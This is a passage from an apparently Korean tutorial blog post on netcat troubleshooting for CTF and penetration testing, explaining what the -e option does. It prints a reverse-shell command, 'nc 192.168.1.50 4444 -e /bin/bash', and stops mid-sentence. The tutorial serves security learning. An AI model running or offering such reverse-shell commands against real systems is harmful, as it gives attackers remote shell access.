기본편에서는 netcat의 기본적인 리버스 셸과 바인드 셸 사용법을 알아보았다하지만 실전 환경(CTF, 침투 테스트)에서는 기본편에서 배운 명령어가 그대로 작동하지 않는 경우가 많다그렇기 때문에 오늘 글에서는 netcat을 사용하며 자주 겪는 문제들과 이에 대한 해결 방법을 다룰 것이다 《 문제상황 1 》- e 옵션이 작동하지 않을 때기본편에선 잠깐 나오고 제대로 된 설명이 없었기에 먼저 - e가 뭔지부터 설명하겠다- e는 기본적으로 특정 프로그램을 실행하고 그 프로그램의 입출력을 네트워크 연결로 리다이렉트한다고 생각하면 된다 쉽게 설명하자면 우리가 앞서 사용하였던 이 코드를 예시로 보면 된다 nc 192.168.1.50 4444 -e /bin/bash이 코드에선 - e를 통하여 bash의 입출력을 리다..